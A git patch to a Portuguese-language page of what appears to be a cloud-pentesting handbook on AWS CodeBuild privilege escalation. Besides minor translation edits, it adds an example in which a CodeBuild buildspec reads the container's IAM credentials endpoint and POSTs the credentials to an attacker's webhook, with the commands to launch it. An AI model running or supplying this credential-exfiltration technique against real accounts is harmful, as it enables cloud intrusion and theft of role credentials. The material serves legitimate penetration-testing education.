From 7c5771da7a934569c1204af17d7fcc9f60cbab1c Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 8 Jan 2025 20:44:23 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-codebuild-privesc.md | 38 ++++++++++++++++++- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index af6e0a312..519c25ff1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -63,7 +63,7 @@ aws codebuild start-build-batch --project --buildspec-override fi - `StartBuild` aciona um único trabalho de construção usando um `buildspec.yml` específico. - `StartBuildBatch` permite que você inicie um lote de construções, com configurações mais complexas (como executar várias construções em paralelo). -**Impacto Potencial:** Privesc direto para funções AWS Codebuild anexadas. +**Impacto Potencial:** Privesc direto para funções do AWS Codebuild anexadas. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} @@ -291,7 +325,7 @@ Para mais informações [**verifique a documentação**](https://docs.aws.amazon Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild. -Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante. +Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, esperançosamente mais privilegiado, do que o do atacante. ```bash aws s3 cp s3:///buildspec.yml ./